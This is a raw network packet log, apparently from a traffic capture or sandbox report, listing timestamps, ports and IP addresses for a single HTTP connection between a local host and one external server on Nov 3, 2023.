Nov 3, 2023 18:53:43.803548098 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.803565025 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.803618908 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.803632975 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.803632975 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.803663969 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.803672075 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.803713083 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.803719997 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.803755045 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.803800106 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.803800106 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.803828001 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.803858042 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.803875923 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.803915024 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.803931952 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.803947926 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.803982973 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.804003000 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.804008007 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.804049969 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.804059029 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.804099083 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.804126978 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.804193020 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.804210901 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.804255009 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.804296017 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.804341078 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.804399967 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.804449081 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.804472923 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.804519892 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.804888010 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.804930925 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.804934978 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.804974079 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.804987907 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.805030107 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.805046082 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.805073023 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.805088997 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.805115938 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.805115938 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.805157900 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.805185080 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.805227995 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.805255890 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.805301905 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.806085110 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.806132078 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.806138039 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.806185961 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.806196928 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.806211948 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.806240082 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.806257010 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.806279898 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.806319952 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.806327105 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.806363106 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.806391001 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.806453943 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.806457043 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.806472063 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.806503057 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.806514978 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.806530952 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.806571007 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.806577921 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.806613922 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.806638956 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.806684017 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.806713104 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.806756973 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.806767941 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.806812048 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.806827068 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.806869030 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.806875944 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.806890965 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.806922913 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.806935072 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.806967974 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.807013988 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.807046890 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.807054996 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.807101965 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.807102919 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.807106018 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.807146072 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.807152033 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.807173014 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.807190895 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.807205915 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.807229996 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.807275057 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.807298899 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.807342052 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.807353020 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.807398081 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.807465076 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.807508945 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.807524920 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.807554007 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.807568073 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.807601929 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.807626009 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.807672024 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.807672977 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.807689905 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.807740927 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.807763100 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.807795048 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.807810068 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.807838917 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.807842970 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.807887077 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.807898998 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.807940006 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.807980061 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.808022976 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.808053017 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.808082104 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.808104992 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.808121920 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.808134079 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.808176994 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.808202982 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.808245897 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.808248997 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.808290005 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.808377981 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.808407068 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.808438063 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.808454037 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.808468103 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.808511972 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.808537960 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.808584929 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.808607101 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.808656931 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.808660984 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.808701992 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.808782101 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.808829069 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.808830976 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.808877945 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.808892012 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.808919907 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.808937073 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.808964014 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.809020042 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.809037924 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.809066057 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.809083939 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.809087038 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.809103012 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.809132099 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.809164047 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.809164047 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.809207916 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.809211969 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.809253931 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.809273958 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.809304953 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.809333086 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.809350967 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.809355021 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.809398890 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.809426069 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.809453011 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.809468985 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.809495926 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.809509039 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.809552908 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.809556961 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.809622049 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.809624910 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.809667110 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.809686899 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.809731960 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.809748888 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.809792995 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.809814930 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.809863091 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.809890032 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.809932947 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.809952974 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.809997082 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.810003996 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.810019016 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.810048103 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.810072899 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.810076952 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.810127020 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.810152054 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.810184002 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.810211897 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.810240984 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.810313940 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.810359955 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.810378075 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.810424089 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.810642004 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.810676098 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.810686111 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.810713053 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.810717106 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.810755968 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.810774088 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.810817003 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.810910940 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.810956001 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.810966969 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.811016083 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.811022043 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.811069965 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.811091900 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.811137915 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.811269045 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.811340094 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.811352968 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.811394930 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.811412096 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.811459064 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.811470985 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.811522007 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.811543941 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.811603069 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.811613083 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.811660051 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.811677933 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.811722040 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.811732054 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.811773062 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.811784029 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.811808109 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.811815977 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.811856985 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.811882973 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.811933041 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.811973095 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.812001944 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.812017918 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.812042952 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.812102079 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.812146902 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.812170982 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.812213898 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.812228918 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.812274933 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.812288046 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.812330961 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.812392950 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.812438965 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.812458038 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.812495947 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.812503099 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.812541008 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.812567949 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.812623024 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.812650919 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.812665939 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.812694073 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.812710047 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.812732935 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.812777996 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.812807083 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.812850952 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.812872887 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.812916040 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.812936068 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.812978983 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.812999010 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.813043118 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.813050985 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.813096046 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.813107014 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.813150883 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.813169003 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.813215017 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.813225985 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.813273907 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.813291073 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.813335896 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.813338041 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.813379049 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.813405037 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.813443899 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.813471079 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.813513994 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.813528061 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.813572884 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.813594103 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.813636065 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.813663006 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.813707113 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.813714981 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.813761950 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.813775063 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.813817024 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.813824892 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.813868999 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.814045906 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.814090014 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.814130068 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.814177036 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.814199924 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.814229012 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.814241886 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.814279079 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.814316988 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.814363956 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.814363956 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.814409971 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.814441919 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.814483881 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.814513922 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.814558029 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.814578056 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.814620018 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.814627886 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.814671993 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.814692020 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.814738035 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.814743042 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.814759016 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.814785004 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.814800978 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.814824104 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.814867020 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.814927101 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.814969063 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.814985991 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.815033913 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.815042019 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.815084934 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.815112114 CET	80	49711	103.83.194.50	192.168.2.10
